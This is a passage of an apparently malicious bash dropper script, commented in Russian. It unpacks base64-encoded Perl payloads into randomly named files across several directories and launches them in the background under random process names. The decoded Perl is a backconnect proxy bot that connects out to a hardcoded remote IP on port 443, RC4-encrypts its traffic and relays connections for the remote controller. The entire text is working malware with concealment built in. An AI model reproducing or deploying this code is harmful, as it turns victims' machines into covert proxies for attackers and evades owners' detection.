JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #21 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #21 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 22 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xNzknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg 